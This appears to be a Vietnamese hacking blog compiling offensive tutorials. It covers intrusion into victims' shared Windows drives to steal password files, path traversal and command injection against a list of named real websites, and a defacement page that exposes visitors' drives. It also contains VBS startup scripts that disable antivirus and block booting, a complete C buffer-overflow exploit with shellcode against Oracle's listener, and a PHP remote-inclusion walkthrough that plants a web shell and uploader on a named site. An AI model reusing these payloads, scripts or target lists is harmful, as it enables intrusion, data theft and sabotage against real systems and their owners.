Thứ Ba, 8 tháng 10, 2013
Xam nhap vao may tinh cua Victim
- Đầu tiên các bạn phải Download chương trình Essential NetTools :
Essential Net Tools 3.0 và Crack của nó
Rồi thực hiện các bước sau :
+ Giải nén files Essential Net Tools 3.0.zip bằng các công cụ giải nén như :
Winzip, Winrar...
Download tại : http://www.winzip.com/
Bước 1 : Thiết lập cấu hình
- Bạn vào trong Control Panel rồi vào Network
- Click vào nút Add rồi chọn phần Client
- Tiếp tục nhấn nút Add. Rồi chọn phần Microsoft
- Chọn phần Client for Microsoft Network
- Cuối cùng là OK
Bước 2 : Bắt đầu xâm nhập
+ Ngay phần NBscan
ngay phần" Starting IP":
Đánh vào IP của bạn. Để biết số IP của bạn thì vào Start --> Run rồi gõ : "winipcfg"
VD :
203.162.11.1
hoặc :
202.167.122.1
Còn phần Ending Ip :
203.162.11.255
hoặc :
202.167.122.225
+ Sau đó click chuột vào nút Start
+ Chờ sau giây lát !
Nó sẽ xuất hiện danh sách IP sau khi dò tìm !
+Ngay phần RS:
No : là không có xâm nhập vào được
Yes: là xâm nhập được (nhưng đôi khi thì không)
+ Nhấp chuột phải vào hàng mà có chữ "Yes"
- Nhấp vào phần "Open Computer"
+ Và sau đó các bạn có thể xâm nhập vào máy của victim được nhưng cũng có thể có mấy cái máy không xâm nhập vào được !
Nhưng đột nhập để làm gì ?
Chúng ta đột nhập để ăn cắp Acount và dữ liệu của victim !
Ắn cắp Password bằng cách lấy files PWL của victim trong :
C:/window/*.PWL
Rồi dùng công cụ PWL Tool để đọc được file đó
Xam nhap vao may tinh cua Victim
Web Hacking
Trong thời đại hiện nay khi internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các cuộc giao dịch buôn bán online. Vấn đề nảy sinh là khi phạm vi ứng dụng của các web application ngày càng phổ biến thì khả năng xuất hiện lỗi và bị tấn công càng cao. Trong các lĩnh vực hacking, hack web application là sân chơi khá lý thú cho những ai yêu thích computer security.
Thông thường, những bước cơ bản khi thực hiện hack web bao gồm như sau - các bước này không nhất thiết phải thực hiện tuần tự mà tùy vào điều kiện của chúng ta.
1. Thu thập thông tin ở mức trên về hạ tầng của mục tiêu
Bước này ta cần thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình của các web server, các client nào sẽ tương tác với ứng dụng web, kiểu giao tiếp thông tin (transport) và thông qua các cổng (port) nào, những site liên quan đến việc thực hiện chức năng của site mục tiêu....
2. Khảo sát ứng dụng web
Ở đây tôi chỉ mô tả một trong những phương pháp khảo sát khá phổ biến từ trước đến giờ, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.
Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).
Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal. Hãy xem ví dụ sau:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
Ở đây index.cgi được gọi với tham số truyền vào là trang contact.htm (HTML file) nó sẽ đọc và hiện nội dung của trang này lên client browser. Tuy nhiên nếu người viết cgi không kiểm tra kĩ lưỡng, ta có thể lợi dụng để xem chính nội dung của file index.cgi hay các trang khác. Ví dụ sau ta sẽ thay contact.htm bằng index.cgi:
http://www.earthdayalliance.org/index.cgi?page=index.cgi
Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory /web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi không nằm trong thư mục hiện hành (tức là ../www/content/) mà nằm ở www, do đó ta sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau:
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
Chạy link này ta sẽ thấy nội dung của index.cgi được show trên browser. Việc xem được source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có thể xem được những thông tin quan trọng khác. Lệnh sau là 1 ví dụ dùng lỗi này để xem file etc/passwd trong unix server:
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng của mỗi người.
Các bạn có thể tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan, chẳng hạn như: "index.cgi?page="
Đây là vài link tôi tìm thấy, các bạn có thể tham khảo:
http://www.discountdata.com/index.cgi?page=index.cgi
http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html
http://home.no.net/danm2/freezeware/index.cgi?page=/../../../../../../../../etc/passwd
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/../../../../../../etc/passwd
http://www.resource.nl/uk/index.cgi?page=index.cgi
http://www.earthdayalliance.org/index.cgi?page=contact.htm
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
http://www.nestingeagles.com/index.cgi?page=videoB.htm
http://www.nestingeagles.com/index.cgi?page=/../index.cgi
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/.././admin/configuration.pl
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../../../../../../../etc/passwd
http://demo1.secmod.com/index.cgi?page=links.html
http://demo1.secmod.com/index.cgi?page=index.cgi
http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd
http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi
http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm
http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car
http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi
http://www.gatlinburggateway.com/index.cgi?&page=/../../../../../../etc/passwd
http://www.berkshire-is.com/index.cgi?page=news.html
http://www.berkshire-is.com/index.cgi?page=index.cgi
http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd
http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm
http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/../index.cgi
http://www.randalloglegallery.com/index.cgi?page=about.htm
http://www.randalloglegallery.com/index.cgi?page=/../index.cgi
.....
Lưu ý các site trên chưa được thông báo về lỗi này.
3. Tấn công các web server
4. Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)
Bao gồm các phương pháp như đoán mật khẩu, làm việc - thay đổi thông tin cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào SQL, SQL injection...
5. Tìm hiểu sâu về các chức năng của ứng dụng web
Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL Injection, input validation...
6. Tìm hiểu luồng di chuyển của thông tin
Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input...để đoạt quyền điều khiển hệ thống.
7. Tấn công trang của người quản lý hệ thống
8. Tấn công client
9. Thực hiện tấn công từ chối dịch vụ Denial-of-Service (DoS)
Đây là cách cuối cùng khi các phương pháp trên không thực hiện thành công.
Phần này cần các bạn có kiến thức chút đỉnh về Unix.
Bước tiếp theo là khai thác khả năng command execution từ client browser thông qua HTTP port. Ở đây các bạn chú ý các kí tự đặc biệt hữu ích khi ta cần thực hiện lệnh trong URL, đó là: newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char cho phép ta ngắt các lệnh ra thành nhiều dòng khi thực hiện, dùng khi ta kết nhiều lệnh cùng trên cùng 1 dòng; pipe dùng để kết nối nhiều lệnh unix với nhau, tương tự với semicolon; ampersand thường dùng để ngăn cách các tham số truyền vào câu lệnh...Các bạn tự tìm hiểu kĩ hơn các thông tin này.
Tiếp theo vd ở post đầu, đó là: http://www.earthdayalliance.org/index.cgi?page=contact.htm
Bây giờ ta thử gọi 1 lệnh liệt kê thông tin thư mục của unix (ls):
http://www.earthdayalliance.org/index.cgi?page=|ls|
Ta sẽ thấy browser liệt kê ra các file, thư mục có trong thư mục hiện hành của trang web, đại khái như sau:
[badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm templates welcome.htm wwwboard ]
Nếu muốn biết rõ hơn về thông tin của file, như quyền hạn, ngày tháng...ta dùng lệnh ls -la, cụ thể URL sẽ là:
http://www.earthdayalliance.org/index.cgi?page=|ls+-la|
Một vd của việc khai thác tiếp theo: ta thấy thư mục wwwboard, đây là 1 dạng webforum đơn giản, ta xem thử nội dung thư mục này:
http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard|
Ở đây ta sẽ thấy liệt kê ra content của forum này, trong đó có 1 file passwd.txt, ta muốn xem nội dung file này, chỉ việc thực hiện:
http://www.earthdayalliance.org/index.cgi?page=/../wwwboard/passwd.txt
Lưu ý ta thêm /../ phía trước vì muốn lùi 1 cấp trở về thư mục cha.
Thế là bạn vừa xem được pass admin của forum dạng này.
Đây là 1 thông tin tìm hiểu khác:
http://www.earthdayalliance.org/index.cgi?page=|ls%20/../../../../../etc+-la|
Liệt kê các user trong server này:
http://www.earthdayalliance.org/index.cgi?page=|ls+/../../.././web/guide+-al|
.....
Bước khai thác kế tiếp dành cho các bạn: Thực hiện nhiều câu lệnh, get shell... Chúc thành công.
Các công cụ có thể áp dụng trong web hacking các bạn có thể tìm hiểu ở trang:
http://www.hackingexposed.com/tools/tools.html
Một tài liệu nhỏ về web hacking khác (đây là tài liệu English, đọc bằng chương trình Microsoft powerpoint trong bộ Microsoft Office):
webhacking.zip
Title: Web Hacking - Brief Introduciton
Version: 1.0 build 26092002
Author: W_Hat
References: Hacking Exposed series, Web Hacking from FoundStone.com,
Constructing: Basic Hacking Methodologies
Bài viết của W_Hat
Web Hacking
View HardDisk
View HardDisk :
Sau khi bạn Hack được 1 trang Web thì có lẽ bạn upload trang Web của bạn với dòng chữ "This Website was hacked by ..." thay cho trang index. Nhưng như vậy thì thường quá mà lại không có ấn tượng . Bạn muốn làm cho Victim một phen giật mình, ok. Bạn hãy upload 1 trang Web có source như sau :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>This Website was Hacked</TITLE>
<STYLE>BODY {
FONT-SIZE: 12px; COLOR: black; FONT-FAMILY: tahoma
}
</STYLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff>
<P>Is dit van u?</P>
<P>
<OBJECT id=browserIcons height="90%" width="100%" align=baseline border=0
classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B><PARAM NAME="ExtentX" VALUE="7938"><PARAM NAME="ExtentY" VALUE="3969"><PARAM NAME="ViewMode" VALUE="1"><PARAM NAME="Offline" VALUE="0"><PARAM NAME="Silent" VALUE="0"><PARAM NAME="RegisterAsBrowser" VALUE="0"><PARAM NAME="RegisterAsDropTarget" VALUE="0"><PARAM NAME="Height" VALUE="150"><PARAM NAME="Width" VALUE="300"><PARAM NAME="AutoArrange" VALUE="1"><PARAM NAME="NoClientEdge" VALUE="1"><PARAM NAME="AlignLeft" VALUE="0"><PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}"><PARAM NAME="Location" VALUE="file:///C:/"></OBJECT><BR>Greetz harry
<BR></P></BODY></HTML>
Như vậy khi Victim vào Website của mình thì tự động nó sẽ View HardDisk (thường là ổ C) của Victim. Như vậy sẽ ấn tượng hơn
Vai tro dua voi Victim
Vài trò đùa với các Victim
Khi các bạn đột nhập được vào máy người khác, tại sao không đùa với họ một tí nhỉ ?
Sau đây là một vài trò chơi do tôi nghĩ ra, bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:1.Trò chơi thứ nhất: không cho victim khởi động máy:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hackervn.org"
wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\",""
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood"5.Trò chơi 5: trò chơi này đảm bảo cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của victim:
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"
Trên đây là 5 trò chơi "khá vui", thật ra còn nhiểu trò chơi khác nũa nhưng "nguy hiểm" cho victim nên thôi.--------------------
Virus is nothing but if you don't take care of them, you will have nothing.
Exploit For The 'Unbreakable' Oracle Database
Exploit For The 'Unbreakable' Oracle Database :
Những điều cần biết trong lỗi Unbreakable' Oracle Database
1 - Lỗi tràn bộ đệm xuất hiện khi ta viết quá 2132 bytes vào trong bộ đệm tại command line 2128 để ghi đè lên ebp và tại command line 2132 để ghi đè lên eip
2 - Nếu bạn viết quá 2132 bytes thì nhưng khung khác sẽ bị ghi đè lên về sau sẽ bị xáo trộn trên những mã của bạn , và mã chuyên quyền sẽ được thực thi ( Chú ý nó phải chính xác là 2132 bytes )
3 - Shellcode ở dưới đây sẽ cố gắng làm 1 setreuid(515)
Tác hại của shellcode này : Nó sẽ giúp Hacker làm ngưng trệ hoặc làm treo hệ thống , nếu hệ thống đó bị lỗi này . Cái này chỉ dùng để phá hoại các server mà thôi . Không nên lạm dụng nó . Nếu bạn là 1 Hacker chân chính :-)
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 4096
#define NOP 0x90
/* 2132 + 1 for the \0 at the end of the string */
#define DEFAULT_BUFFER_SIZE 2133
/* Shellcode made by mafiaboy@hotpop.com */
char shellcode[] =
"\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xf7\xe3" /* mul %ebx */
"\xb0\x46" /* mov $0x46, %al */
"\x66\xbb\x03\x02" /* mov $0x1fc, %bx */
"\x49" /* dec %ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xor %edx, %edx */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp, %ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp, %ecx */
"\x6a\x0b" /* pushl $0xb */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int i;
int get_sp = (int)&get_sp;
if(argc > 1) { bsize = atoi(argv[1]); }
if(!(buff = malloc(bsize)))
{
printf("unable to allocate memory for %d bytes\n", bsize);
exit(1);
}
if(!(egg = malloc(eggsize)))
{
printf("unable to allocate memory for %d bytes\n", eggsize);
exit(1);
}
printf("Oracle tnslsrn 8.1.5\n");
printf("Vulnerability found by mafiaboy/ http://mafiaboy.netfirm.com);
printf("Coded by The mafiaboy/ http://mafiaboy.netfirm.com");
printf("Using return address: 0x%x\n", get_sp);
printf("Using buffersize : %d\n", bsize - 1);
ptr = buff;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode)-1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
buff[bsize - 1 ]= '\0';
execl("/home/u01/app/oracle/product/8.1.5/bin/tnslsnr",
"tnslsnr", buff, 0);
return 0;
}
Save đoạn code tên thành 1 file *.c (Vì nó viết bằng lập trình C). Vào MS-DOS Prompt rồi chạy file này rồi kết nối với ServerChúc các bạn thành công .
Bài viết của Microsoftvn - phunganhtuan32@hotmail.com
PHP Code Injecttion
PHP Code Injection :
Không có cách học nào hay bằng thực hành trên ví dụ cụ thể, tớ sẽ hướng dẫn bạn cách khai thác php code inject trên một lỗi mới được phát hiện: Gallery code injection
1.Mô tả lỗi:
Gallery là một công cụ cho phép tạo một gallery ảnh trên web, được viết bằng PHP, bạn có thể tìm hiểu và download source tại trang chủ: http://gallery.menalto.com/ và xem báo cáo lỗi tại đây:
http://online.securityfocus.com/archive/1/285608/2002-07-26/2002-08-01/0.
Như đã được hướng dẫn, lỗi này có thể khai thác bằng cách tạo trước một file init.php tại địa chỉ http://your.evil.server.tdl/ rồi sau đó gọi đến url:
http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/
Trong file init.php bạn có thể đặt code php để thực hiện mục đích của mình. Và mục đích của chúng ta là upload lên thư mục web của victim một file php có khả năng upload.
2. Chuẩn bị:
Bạn đăng ký một account host nào đó, hoặc sử dụng account có sẵn của bạn. Nên chọn host nào không hỗ trợ php vì như vậy khi gọi đến file php server sẽ trả lại toàn bộ code của file, còn nếu server hỗ trợ php thì bạn phải sử dụng echo thêm phần phức tạp.
Tớ thì thích dùng brinkster vì ở đây đăng ký nhanh gọn, upload bằng browser như vậy có thể hoàn toàn hack chỉ bằng browser mà thôi.
Bạn tạo 2 file như sau:Code Sample
<?php
// shellphp.php * file này dùng để chạy shell trên victim host
global $PHP_SELF;
echo "<html><body>
<form method=post action=$PHP_SELF?$QUERY_STRING>
<input type=text name=shell size=40>
<input type=hidden name=act value=shell>
<input type=submit value=Go name=sm>
</form>";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
system($shell);
echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";}
echo "</body></html>";
?>và
Code Sample
<?php
// upload.php * file này dùng để upload
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realname\n";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "<html><body>
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING>
File:<INPUT TYPE=FILE NAME=userfile SIZE=35>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<input type=hidden name=act value=upload>
<input type=submit value=Upload name=sm>
</form>
</body></html>";
?>Bạn tạo thêm 1 file init.php với nội dung giống hệt file shellphp.php và upload lên site của bạn, ví dụ http://wwwxx.brinkster.com/you/
3. Xác định mục tiêu:
Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery, tớ chọn một site http://zarabadoo.insane-asylum.com/gallery./ làm ví dụ. Thử xem nó đã sửa lỗi chưa bằng url: http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/
Nếu thấy hiện lên như sau là bạn đã thành công bước đầu rồi đó:
Chẳng cần quan tâm đến những thông báo lỗi phía dưới, bây giờ bạn đã có thể gõ lệnh vào text box và thực hiện nó trên host của victim.
4. Trinh sát:
Các file và thư mục trên host luôn được bảo vệ bằng cách kiểm tra quyền hạn của người sử dụng (bạn tham khảo các bài về unix, linux để biết thêm chi tiết). Mà mục đích của chúng ta là upload lên 1 file nên bây giờ phải tìm xem trên đó có chỗ nào cho phép ta ghi file, đồng thời file đó có thể được gọi đến qua http, tức là nằm trong một thư mục active web .
Đầu tiên bạn hãy xác định đường dẫn tuyệt đối đến thư mục hiện thời bằng lệnh pwd:
Tiếp tục kiểm tra trên thư mục hiện thời: dùng lệnh ls –al ta sẽ có kết quả như sau:
Để ý thấy thư mục classes cho phép ghi file, như vậy chúng ta hoàn toàn có thể upload một file lên thư mục /home/insane-/public_html/zarabadoo/gallery/classes/ của server rồi đấy.
5. Gửi tiền trạm:
Tiền trạm của chúng ta sẽ là file upload.php, sau khi có được file này thì chúng ta có thể upload được những công cụ mạnh hơn để khai thác thông tin.
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như code của file upload.php, nhưng sửa lại *PATH* thành “/home/insane-/public_html/zarabadoo/gallery/classes/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là "".
Rồi, chúng ta lại goi đến http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/ một lần nữa, bạn sẽ thấy file upload hiện lên, chọn file upload.php trên máy của mình rồi upload, bạn sẽ có kết quả sau:
Như vậy là bạn đã thành công trong việc gửi đội tiền trạm đến căn cứ của đối phương rồi đấy, bạn có thể gọi đến nó qua url http://zarabadoo.insane-asylum.com/gallery./classes/upload.php.
Từ bây giờ bạn hãy vận dụng hết mọi mánh khoé để tấn công đối thủ đi, upload backdoor, shell, rootkit, .. Bạn có thể Download con BackDoor Shell được viết bằng PHP tại đây : Shell.php (chú ý : khi chạy shell.php thì nó bắt nhập username và password, bạn gõ username là root còn password thì bỏ trống và Enter)
và thế là ..
6. Kết luận:
Thực ra ví dụ mà tớ đưa ra rất đơn giản, và may mắn gặp được host server có bảo mật thấp. Bạn có thể gặp nhiều tên rắn mặt hơn nhiều, hãy phát huy sáng tạo đến mức tối đa.
Hơn nữa đây chỉ là ví dụ về hack Gallery, nhưng đó là phương pháp chung để khai thác lỗi php code injection. Lỗi này khá phổ biến, và sẽ còn tiếp tục được phát hiện thêm, hãy sử dụng phương pháp này một cách uyển chuyển, chắc chắn bạn sẽ thành công.
Bài viết của vnofear
Tu trang bi cong cu cho minh
Tự trang bị công cụ cho mìnnh :
-Trước tiên bạn cần 1 shell account, cái này thực sự quan trọng đối với bạn.1 shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC (rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS shell.Bạn có thể kiếm shell account ở đâu ? Thông thường khi bạn cài *nix thì bạn sẽ có 1 shell account, nếu bạn không cài *nix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài *nix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
....
Các bạn có thể tự tìm thêm và chọn cho mình 1 shell account ưng ý.-NMAP : Công cụ quét cực nhanh,mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services/ports:webserver,ftpserver,pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol,Null scan,TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/
Download : Nmap 2.54 Beta 30 for Windows
NmapNT - A Win32 port of nmap v 2.53
Stealth HTTP Security Scanner : Công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
Download : Stealth HTTP Security Scanner v2.0 Build 36
IntelliTamper : Công cụ hiển thị cấu trúc của 1 Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục, file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack 1 Website thì bạn phải nắm 1 số thông tin của Admin và Website đó.
Download : IntelliTamper v2.07-Netcat : Công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình, script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu (tất nhiên là khi Netcat đã được cài trên 1 server bị lỗi). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/
Download : Netcat 1.10 for Unix
Netcat 1.10 for WinNT
Netcat* (+ twofish encryption)
Netcat 1.10 for NT* (+ twofish encryption)
Active Perl : Công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl .
Download : Active Perl
L0phtCrack : Công cụ số một để Crack Password của Windows NT/2000 .
Download : L0phtCrack 3.0
L0phtCrack 4.0-Linux : Hệ điều hành hầu hết các hacker đều sử dụng.
-Cuối cùng là thông tin về vulnerabilities và các exploits (thường được viết bằng C,perl) được cập nhật thường xuyên trên các Website sau :
Bugtraq
Xploits
Tlsecurity
Ossr.phpwebhosting
Securityfocus
Htsecurity
MegaSecurity
EyeonSecurity
Hy vọng bài viết này giúp bạn tự trang bị cho mình những công cụ cần thiết để có thể tấn công bất kỳ server nào.
Tim hieu ve "Tan cong bang phe chuan dau vao"
Tìm hiểu về "Tấn công bằng phê chuẩn đầu vào"
Giới thiệu
http://ww.target.com/cgi-bin/test.cgi?test%0acat%20/etc/passwd -> lấy danh sách userid + mật khẩu
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/password -> lấy danh sách userid + mật khẩu
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/xterm%20-display%2020172.29.11.207:0.0%20& -> hiển thị xterm trên màn hình của kẻ tấn công.Bạn có muốn biết tại sao không? Tôi sẽ chỉ rõ cho bạn trong bài viết này!
Phân tích
Phê chuẩn đầu vào là gì?
Phê chuẩn đầu vào nghĩa là kẻ tấn công sẽ cố chuyển các dữ liệu nguy hiểm cho các kịch bản - script, chủ yếu là các kịch bản .cgi, .pl dễ bị tổn thương như là đầu vào cho các kịch bản này xử lí. Mà thật ra đó chính là những câu lệnh khai thác hệ thống! Một trong những lệnh phổ biến là lấy file /etc/password!
Kịch bản cgi không an toàn!
CGI là chữ viết tắc của "Common Gateway Interface". Các kịch bản CGI được thi hành trực tiếp trên máy chủ, sau đó trả kết quả trở lại cho máy khách! Các kịch bản CGI được viết bằng nhiều ngôn ngữ, nhưng thường thì được viết bằng Perl nên cụm từ "CGI script" ~ "Perl script"!
Bây giờ chúng ta hãy xem xét ví dụ khai thác kịch bản cgi sau:
Giả sử có một trang web(vuln1.html) nhận các thông tin phản hồi của người dùng. Khi người dùng bấm nút <Submit>, lập tức các thông tin này sẽ được gởi đến địa chỉ email của webmaster. Đây là mã nguồn html của vuln1.html:
<html>
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
</html>Và đây là nội dung của file vuln1.pl:
#!/usr/bin/perl
# thông tin xuất sẽ là một trang html
print "Content-type: text/html\n\n";
#nhận các thông tin từ form và chuyển vào mảng @pairs
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# lặp lại cho mỗi cặp giá trị name/value trong mảng
foreach $pair (@pairs) {
# chia cặp giá trị này vào hai biến riêng
($name, $value) = split(/=/, $pair);
# decode các dữ liệu
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
